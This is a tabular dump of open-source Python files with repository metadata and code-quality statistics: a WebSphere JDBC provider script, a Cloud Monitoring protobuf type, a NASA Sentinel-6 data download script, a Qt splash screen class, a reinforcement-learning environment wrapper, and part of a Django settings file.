hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c1d5f69e5c3fddafacc15af89b5f0eac9dc39002 | 1,681 | py | Python | src/main/resources/project/wsadmin_scripts/create_jdbc_provider.py | electric-cloud/EC-WebSphere | 72930f119910190f8fc70acbb401319ca0eb0c19 | [
"Apache-2.0"
] | null | null | null | src/main/resources/project/wsadmin_scripts/create_jdbc_provider.py | electric-cloud/EC-WebSphere | 72930f119910190f8fc70acbb401319ca0eb0c19 | [
"Apache-2.0"
] | 12 | 2016-09-23T04:42:55.000Z | 2021-04-09T09:59:29.000Z | src/main/resources/project/wsadmin_scripts/create_jdbc_provider.py | electric-cloud/EC-WebSphere | 72930f119910190f8fc70acbb401319ca0eb0c19 | [
"Apache-2.0"
] | 2 | 2016-06-13T07:24:12.000Z | 2018-05-08T12:49:33.000Z | #
# Copyright 2016 Electric Cloud, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import sys
clusterName = r'''
$[cluster]
'''.strip()
nodeName = r'''
$[node]
'''.strip()
cellName = r'''
$[cell]
'''.strip()
serverName = r'''
$[server]
'''.strip();
implClassName = r'''
$[implementationClassName]
'''.strip()
providerName = r'''
$[jdbcProvidername]
'''.strip()
inputClasspath = r'''
$[classpath]
'''.strip()
resourceId = ''
if cellName:
resourceId += "/Cell:" + cellName
if clusterName:
resourceId += "/ServerCluster:" + clusterName
if nodeName:
resourceId += "/Node:" + nodeName
if serverName:
resourceId += "/Server:" + serverName
resourceId += "/"
print "ResourceID: " + resourceId
node = AdminConfig.getid(resourceId)
n1 = ['name', providerName]
implCN = ['implementationClassName', implClassName]
classPath = ['classpath', inputClasspath]
descr = ['description', '']
jdbcAttrs = [n1, implCN, classPath, descr]
providerFound = AdminConfig.getid('/JDBCProvider:' + providerName + '/')
if providerFound:
AdminConfig.modify(providerFound, jdbcAttrs)
else:
AdminConfig.create('JDBCProvider', node, jdbcAttrs)
AdminConfig.save()
| 22.716216 | 75 | 0.697204 | 185 | 1,681 | 6.335135 | 0.540541 | 0.051195 | 0.022184 | 0.027304 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007072 | 0.158834 | 1,681 | 73 | 76 | 23.027397 | 0.821782 | 0.336704 | 0 | 0.133333 | 0 | 0 | 0.205829 | 0.044627 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.022222 | null | null | 0.022222 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c1e4b25896a66fd72f7fdc21de7b701f62fd3706 | 1,937 | py | Python | google/cloud/monitoring_v3/types/dropped_labels.py | vinbs/python-monitoring | 39b51a2dd4319c3a326bef1c843bb80d3f2ca772 | [
"Apache-2.0"
] | null | null | null | google/cloud/monitoring_v3/types/dropped_labels.py | vinbs/python-monitoring | 39b51a2dd4319c3a326bef1c843bb80d3f2ca772 | [
"Apache-2.0"
] | null | null | null | google/cloud/monitoring_v3/types/dropped_labels.py | vinbs/python-monitoring | 39b51a2dd4319c3a326bef1c843bb80d3f2ca772 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import proto # type: ignore
__protobuf__ = proto.module(
package="google.monitoring.v3", manifest={"DroppedLabels",},
)
class DroppedLabels(proto.Message):
r"""A set of (label, value) pairs which were dropped during
aggregation, attached to google.api.Distribution.Exemplars in
google.api.Distribution values during aggregation.
These values are used in combination with the label values that
remain on the aggregated Distribution timeseries to construct
the full label set for the exemplar values. The resulting full
label set may be used to identify the specific task/job/instance
(for example) which may be contributing to a long-tail, while
allowing the storage savings of only storing aggregated
distribution values for a large group.
Note that there are no guarantees on ordering of the labels from
exemplar-to-exemplar and from distribution-to-distribution in
the same stream, and there may be duplicates. It is up to
clients to resolve any ambiguities.
Attributes:
label (Sequence[~.dropped_labels.DroppedLabels.LabelEntry]):
Map from label to its value, for all labels
dropped in any aggregation.
"""
label = proto.MapField(proto.STRING, proto.STRING, number=1)
__all__ = tuple(sorted(__protobuf__.manifest))
| 35.87037 | 74 | 0.738255 | 274 | 1,937 | 5.171533 | 0.547445 | 0.042343 | 0.018349 | 0.022583 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00706 | 0.195663 | 1,937 | 53 | 75 | 36.54717 | 0.902439 | 0.802272 | 0 | 0 | 0 | 0 | 0.114187 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c1f19ac63d25d3c7a341b5e56efc6a76170e219a | 8,757 | py | Python | Access_Sentinel6MF_find_file_by_cycle_pass.py | podaac/sentinel6 | ea203ebab3fdbbfe2b4c399f7a0f54322af18433 | [
"Apache-2.0"
] | 6 | 2021-03-24T18:20:04.000Z | 2022-03-30T12:10:26.000Z | Access_Sentinel6MF_find_file_by_cycle_pass.py | podaac/sentinel6 | ea203ebab3fdbbfe2b4c399f7a0f54322af18433 | [
"Apache-2.0"
] | null | null | null | Access_Sentinel6MF_find_file_by_cycle_pass.py | podaac/sentinel6 | ea203ebab3fdbbfe2b4c399f7a0f54322af18433 | [
"Apache-2.0"
] | 2 | 2021-03-24T19:19:40.000Z | 2022-01-13T03:49:25.000Z | #!/usr/bin/env python3
# # Access Sentinel-6 MF Data using a script
# This script shows a simple way to maintain a local time series of Sentinel-6 data using the [CMR Search API](https://cmr.earthdata.nasa.gov/search/site/docs/search/api.html). It downloads granules the ingested since the previous run to a designated data folder and overwrites a hidden file inside with the timestamp of the CMR Search request on success.
# Before you beginning this tutorial, make sure you have an Earthdata account: [https://urs.earthdata.nasa.gov] .
# Accounts are free to create and take just a moment to set up.
####
#Users are encouraged to use data files from March 11th 2021 onwards.
####
import urllib
from urllib import request
from http.cookiejar import CookieJar
import getpass
import netrc
import requests
import json
import socket
###############The lines below are to get the IP address. You can make this static and assign a fixed value to the IPAddr variable
hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
######################################
print("Running Sentinel-6 MF Data Download")
# ## Before you start
#
# Before you beginning this tutorial, make sure you have an Earthdata account: [https://urs.earthdata.nasa.gov].
#
# Accounts are free to create and take just a moment to set up.
#
# ## Authentication setup
#
# The function below will allow Python scripts to log into any Earthdata Login application programmatically. To avoid being prompted for
# credentials every time you run and also allow clients such as curl to log in, you can add the following
# to a `.netrc` (`_netrc` on Windows) file in your home directory:
#
# ```
# machine urs.earthdata.nasa.gov
# login <your username>
# password <your password>
# ```
#
# Make sure that this file is only readable by the current user or you will receive an error stating
# "netrc access too permissive."
#
# `$ chmod 0600 ~/.netrc`
#
# *You'll need to authenticate using the netrc method when running from command line with [`papermill`](https://papermill.readthedocs.io/en/latest/). You can log in manually by executing the cell below when running in the notebook client in your browser.*
def setup_earthdata_login_auth(endpoint):
"""
Set up the request library so that it authenticates against the given Earthdata Login
endpoint and is able to track cookies between requests. This looks in the .netrc file
first and if no credentials are found, it prompts for them.
Valid endpoints include:
urs.earthdata.nasa.gov - Earthdata Login production
"""
try:
username, _, password = netrc.netrc().authenticators(endpoint)
except (FileNotFoundError, TypeError):
# FileNotFound = There's no .netrc file
# TypeError = The endpoint isn't in the netrc file, causing the above to try unpacking None
print("There's no .netrc file or the The endpoint isn't in the netrc file")
manager = request.HTTPPasswordMgrWithDefaultRealm()
manager.add_password(None, endpoint, username, password)
auth = request.HTTPBasicAuthHandler(manager)
jar = CookieJar()
processor = request.HTTPCookieProcessor(jar)
opener = request.build_opener(auth, processor)
request.install_opener(opener)
###############################################################################
# GET TOKEN FROM CMR
###############################################################################
def get_token( url: str,client_id: str, user_ip: str,endpoint: str) -> str:
try:
token: str = ''
username, _, password = netrc.netrc().authenticators(endpoint)
xml: str = """<?xml version='1.0' encoding='utf-8'?>
<token><username>{}</username><password>{}</password><client_id>{}</client_id>
<user_ip_address>{}</user_ip_address></token>""".format(username, password, client_id, user_ip)
headers: Dict = {'Content-Type': 'application/xml','Accept': 'application/json'}
resp = requests.post(url, headers=headers, data=xml)
response_content: Dict = json.loads(resp.content)
token = response_content['token']['id']
except:
print("Error getting the token - check user name and password")
return token
###############################################################################
# DELETE TOKEN FROM CMR
###############################################################################
def delete_token(url: str, token: str) -> None:
try:
headers: Dict = {'Content-Type': 'application/xml','Accept': 'application/json'}
url = '{}/{}'.format(url, token)
resp = requests.request('DELETE', url, headers=headers)
if resp.status_code == 204:
print("CMR token successfully deleted")
else:
print("CMR token deleting failed.")
except:
print("Error deleting the token")
exit(0)
###############################################################################
# Downloading the file
###############################################################################
# The script uses the CMR API to get files by API see https://cmr.earthdata.nasa.gov/search/site/docs/search/api.html#g-cycle - Get data by cycle
# https://cmr.earthdata.nasa.gov/search/site/docs/search/api.html#g-passes - Get data by cycle
# Code below is a very simplistic version of getting data for one cycle and pass
edl="urs.earthdata.nasa.gov"
cmr="cmr.earthdata.nasa.gov"
setup_earthdata_login_auth(edl)
token_url="https://"+cmr+"/legacy-services/rest/tokens"
token=get_token(token_url,'Sentinel-6', IPAddr,edl)
Short_Name="SHORTNAME OF THE PRODUCT TO DOWNLOAD"
#This is the Short Name of the product you want to download
# See Finding_shortname.pdf file
### Download Files only with the following extensions
## Sentinel-6 MF datasets also have *.bufr.bin, *.DBL, *.rnx, *.dat
extensions = ['.nc','.bin']
data = "DOWNLOAD LOCATION"
#You should change `data` to a suitable download path on your file system.
from os import makedirs
import datetime
from os.path import isdir, basename
from urllib.parse import urlencode
from urllib.request import urlopen, urlretrieve
from datetime import datetime, timedelta
from json import dumps, loads
# **The search retrieves granules for a particular cycle and pass.
# Pass is an optional parameter -- If pass is not provided then all files for a particular pass will be used
### Define the cycle and pass you need in this section
s6mf_cycle=2
s6mf_pass=245
params = {
'scroll': "true",
'page_size': 2000,
'sort_key': "-start_date",
'ShortName': Short_Name,
'cycle[]':s6mf_cycle ,
'passes[0][pass]':s6mf_pass,
'token': token
}
# Get the query parameters as a string and then the complete search url:
query = urlencode(params)
url = "https://"+cmr+"/search/granules.umm_json?"+query
print(url)
# Get a new timestamp that represents the UTC time of the search. Then download the records in `umm_json` format for granules that match our search parameters:
with urlopen(url) as f:
results = loads(f.read().decode())
print(str(results['hits'])+" granules available for Cycle:"+str(s6mf_cycle)+" and Pass:"+str(s6mf_pass))
# Neatly print the first granule record (if one was returned):
if len(results['items'])>0:
print(dumps(results['items'][0], indent=2))
# The link for http access can be retrieved from each granule record's `RelatedUrls` field.
# The download link is identified by `"Type": "GET DATA"` but there are other data files in EXTENDED METADATA" field.
# Select the download URL for each of the granule records:
downloads_all=[]
downloads_data = [[u['URL'] for u in r['umm']['RelatedUrls'] if u['Type']=="GET DATA" and ('Subtype' not in u or u['Subtype'] != "OPENDAP DATA")] for r in results['items']]
downloads_metadata = [[u['URL'] for u in r['umm']['RelatedUrls'] if u['Type']=="EXTENDED METADATA"] for r in results['items']]
for f in downloads_data: downloads_all.append(f)
for f in downloads_metadata: downloads_all.append(f)
downloads = [item for sublist in downloads_all for item in sublist]
# Finish by downloading the files to the data directory in a loop.
success_cnt=failure_cnt=0
for f in downloads:
try:
for extension in extensions:
if f.lower().endswith((extension)):
urlretrieve(f, data+"/"+basename(f))
print(datetime.now())
print("SUCCESS: "+f+"\n\n")
success_cnt=success_cnt+1
except Exception as e:
print(datetime.now())
print("FAILURE: "+f+"\n\n")
failure_cnt=failure_cnt+1
print(e)
print("Downloaded: "+str(success_cnt)+" files\n")
print("Files Failed to download:"+str(failure_cnt)+"\n")
delete_token(token_url,token)
print("END \n\n")
| 37.909091 | 356 | 0.66838 | 1,209 | 8,757 | 4.789909 | 0.315136 | 0.020204 | 0.024866 | 0.016405 | 0.142808 | 0.13072 | 0.114143 | 0.114143 | 0.104127 | 0.084441 | 0 | 0.00605 | 0.169464 | 8,757 | 230 | 357 | 38.073913 | 0.790183 | 0.428343 | 0 | 0.11215 | 0 | 0 | 0.234958 | 0.050561 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028037 | false | 0.102804 | 0.140187 | 0 | 0.17757 | 0.158879 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c1f374c3be2127bdaeef0e877233321933695462 | 2,837 | py | Python | Latest/venv/Lib/site-packages/pyface/ui/qt4/splash_screen.py | adamcvj/SatelliteTracker | 49a8f26804422fdad6f330a5548e9f283d84a55d | [
"Apache-2.0"
] | 1 | 2022-01-09T20:04:31.000Z | 2022-01-09T20:04:31.000Z | Latest/venv/Lib/site-packages/pyface/ui/qt4/splash_screen.py | adamcvj/SatelliteTracker | 49a8f26804422fdad6f330a5548e9f283d84a55d | [
"Apache-2.0"
] | 1 | 2022-02-15T12:01:57.000Z | 2022-03-24T19:48:47.000Z | Latest/venv/Lib/site-packages/pyface/ui/qt4/splash_screen.py | adamcvj/SatelliteTracker | 49a8f26804422fdad6f330a5548e9f283d84a55d | [
"Apache-2.0"
] | null | null | null | #------------------------------------------------------------------------------
# Copyright (c) 2007, Riverbank Computing Limited
# All rights reserved.
#
# This software is provided without warranty under the terms of the BSD license.
# However, when used with the GPL version of PyQt the additional terms described in the PyQt GPL exception also apply
#
# Author: Riverbank Computing Limited
# Description: <Enthought pyface package component>
#------------------------------------------------------------------------------
# Standard library imports.
from logging import DEBUG
# Major package imports.
from pyface.qt import QtCore, QtGui
# Enthought library imports.
from traits.api import Any, Bool, Font, Instance, Int, provides
from traits.api import Tuple, Unicode
# Local imports.
from pyface.i_splash_screen import ISplashScreen, MSplashScreen
from pyface.image_resource import ImageResource
from .window import Window
@provides(ISplashScreen)
class SplashScreen(MSplashScreen, Window):
""" The toolkit specific implementation of a SplashScreen. See the
ISplashScreen interface for the API documentation.
"""
#### 'ISplashScreen' interface ############################################
image = Instance(ImageResource, ImageResource('splash'))
log_level = Int(DEBUG)
show_log_messages = Bool(True)
text = Unicode
text_color = Any
text_font = Any
text_location = Tuple(5, 5)
###########################################################################
# Protected 'IWidget' interface.
###########################################################################
def _create_control(self, parent):
splash_screen = QtGui.QSplashScreen(self.image.create_image())
self._qt4_show_message(splash_screen)
return splash_screen
###########################################################################
# Private interface.
###########################################################################
def _text_changed(self):
""" Called when the splash screen text has been changed. """
if self.control is not None:
self._qt4_show_message(self.control)
def _qt4_show_message(self, control):
""" Set the message text for a splash screen control. """
if self.text_font is not None:
control.setFont(self.text_font)
if self.text_color is None:
text_color = QtCore.Qt.black
else:
# Until we get the type of this trait finalised (ie. when TraitsUI
# supports PyQt) convert it explcitly to a colour.
text_color = QtGui.QColor(self.text_color)
control.showMessage(self.text, QtCore.Qt.AlignLeft, text_color)
#### EOF ######################################################################
| 31.876404 | 117 | 0.556926 | 284 | 2,837 | 5.447183 | 0.461268 | 0.046542 | 0.027149 | 0.024564 | 0.032321 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003884 | 0.183292 | 2,837 | 88 | 118 | 32.238636 | 0.663789 | 0.356715 | 0 | 0 | 0 | 0 | 0.004422 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.096774 | false | 0 | 0.225806 | 0 | 0.612903 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
de061f8ef236113e6114ec0c9c8473a641dfaccf | 2,667 | py | Python | envs/yumi/goal_vec_env.py | pcchenxi/skew-explore | fee27419a6168711eae23bc803875e36afe56438 | [
"MIT"
] | 3 | 2020-08-17T20:20:08.000Z | 2021-05-25T07:44:35.000Z | envs/yumi/goal_vec_env.py | yqj13777866390/skew-explore | fee27419a6168711eae23bc803875e36afe56438 | [
"MIT"
] | null | null | null | envs/yumi/goal_vec_env.py | yqj13777866390/skew-explore | fee27419a6168711eae23bc803875e36afe56438 | [
"MIT"
] | 1 | 2021-01-10T02:07:27.000Z | 2021-01-10T02:07:27.000Z | import numpy as np
from stable_baselines.common.vec_env import DummyVecEnv, SubprocVecEnv
class GaolDummyVecEnv(DummyVecEnv):
"""
extend the original DummyVecEnv class with function set_goals for goal proposing
"""
def __init__(self, env_fns):
super(GaolDummyVecEnv, self).__init__(env_fns)
if self.envs[0].unwrapped.name == 'yumi':
self.xyz_start = self.envs[0].unwrapped.xyz_start
self.xyz_end = self.envs[0].unwrapped.xyz_end
self.gripper_start = self.envs[0].unwrapped.gripper_start
self.gripper_end = self.envs[0].unwrapped.gripper_end
self.door_start = self.envs[0].unwrapped.door_start
self.door_end = self.envs[0].unwrapped.door_end
elif self.envs[0].unwrapped.name == 'yumi_box_pick':
self.xyz_start = self.envs[0].unwrapped.xyz_start
self.xyz_end = self.envs[0].unwrapped.xyz_end
self.gripper_start = self.envs[0].unwrapped.gripper_start
self.gripper_end = self.envs[0].unwrapped.gripper_end
self.door_l_start = self.envs[0].unwrapped.door_l_start
self.door_l_end = self.envs[0].unwrapped.door_l_end
self.door_r_start = self.envs[0].unwrapped.door_r_start
self.door_r_end = self.envs[0].unwrapped.door_r_end
def set_goals(self, goals):
for env_idx in range(self.num_envs):
self.envs[env_idx].unwrapped.set_goals(goals)
def set_density_estimator(self, density_estimator):
for env_idx in range(self.num_envs):
self.envs[env_idx].unwrapped.set_density_estimator(density_estimator)
def set_reward_type(self, reward_type):
for env_idx in range(self.num_envs):
self.envs[env_idx].unwrapped.set_reward_type(reward_type)
def get_extrinsic_reward(self, achieved_goals):
return self.envs[0].unwrapped.get_extrinsic_reward(achieved_goals)
def update_reward_scale(self, mean, std):
for env_idx in range(self.num_envs):
self.envs[env_idx].unwrapped.update_reward_scale(mean, std)
def render(self, *args, **kwargs):
return self.envs[0].render(*args, **kwargs)
# class GoalSubprocVecEnv(SubprocVecEnv):
# """
# extend the original SubprocVecEnv class with function set_goals for goal proposing
# """
# def set_goals(self, goals):
# for env_idx in range(self.num_envs):
# self.envs[env_idx].set_goals()
# def set_reward_type(self, reward_type):
# for env_idx in range(self.num_envs):
# self.envs[env_idx].unwrapped.set_reward_type(reward_type)
| 43.016129 | 89 | 0.672291 | 373 | 2,667 | 4.533512 | 0.174263 | 0.113542 | 0.095801 | 0.180958 | 0.63631 | 0.63631 | 0.51094 | 0.51094 | 0.51094 | 0.460674 | 0 | 0.008687 | 0.223097 | 2,667 | 61 | 90 | 43.721311 | 0.807432 | 0.188601 | 0 | 0.324324 | 0 | 0 | 0.008011 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.189189 | false | 0 | 0.054054 | 0.054054 | 0.324324 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
de0b80e419af4dc6fc3a94037ba0c532fce15f88 | 6,267 | py | Python | core/settings.py | ZeroExistence/blog_moe_ph_api | 03084202631105e7f8d32e3c215399804cd1bcd6 | [
"MIT"
] | null | null | null | core/settings.py | ZeroExistence/blog_moe_ph_api | 03084202631105e7f8d32e3c215399804cd1bcd6 | [
"MIT"
] | null | null | null | core/settings.py | ZeroExistence/blog_moe_ph_api | 03084202631105e7f8d32e3c215399804cd1bcd6 | [
"MIT"
] | null | null | null | """
Django settings for core project.
Generated by 'django-admin startproject' using Django 3.1.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
from pathlib import Path
import environ
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
env = environ.Env(
ENV=(str, 'DEV'),
SITE_ID=(int, 1),
REMOTE_STORAGE=(bool, False),
ALLOWED_HOSTS=(list),
CORS_ALLOWED_ORIGINS=(list)
)
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = env('SECRET_KEY')
# SECURITY WARNING: don't run with debug turned on in production!
ENV = env('ENV')
# Application definition
INSTALLED_APPS = [
'api',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'django.contrib.sites',
'allauth',
'allauth.account',
'allauth.socialaccount',
'allauth.socialaccount.providers.auth0',
'rest_framework',
'imagekit',
'ckeditor',
'django_filters',
'corsheaders',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'corsheaders.middleware.CorsMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'core.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'core.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.1/ref/settings/#databases
DATABASES = {
'default': env.db()
}
# Password validation
# https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
AUTHENTICATION_BACKENDS = [
# Needed to login by username in Django admin, regardless of `allauth`
'django.contrib.auth.backends.ModelBackend',
# `allauth` specific authentication methods, such as login by e-mail
'allauth.account.auth_backends.AuthenticationBackend',
]
AUTH_USER_MODEL = 'api.User'
STATIC_URL = '/static/'
MEDIA_URL = '/media/'
# Internationalization
# https://docs.djangoproject.com/en/3.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
SITE_ID = env('SITE_ID')
SOCIALACCOUNT_PROVIDERS = {
'auth0': {
'AUTH0_URL': 'https://moe-ph.au.auth0.com',
}
}
LOGIN_REDIRECT_URL = '/admin/'
IMAGEKIT_DEFAULT_CACHEFILE_STRATEGY = 'imagekit.cachefiles.strategies.Optimistic'
REST_FRAMEWORK = {
'DEFAULT_FILTER_BACKENDS': ['django_filters.rest_framework.DjangoFilterBackend']
}
ALLOWED_HOSTS = env('ALLOWED_HOSTS')
CKEDITOR_CONFIGS = {
'default': {
'toolbar': 'Custom',
'toolbar_Custom': [
['Styles', 'Format'],
['Bold', 'Italic', 'Underline'],
['NumberedList', 'BulletedList', '-', 'Outdent', 'Indent', 'Blockquote', '-', 'JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock'],
['Link', 'Unlink'],
['HorizontalRule', 'Image'],
['RemoveFormat', 'Source']
]
}
}
if ENV == 'DEV':
DEBUG = True
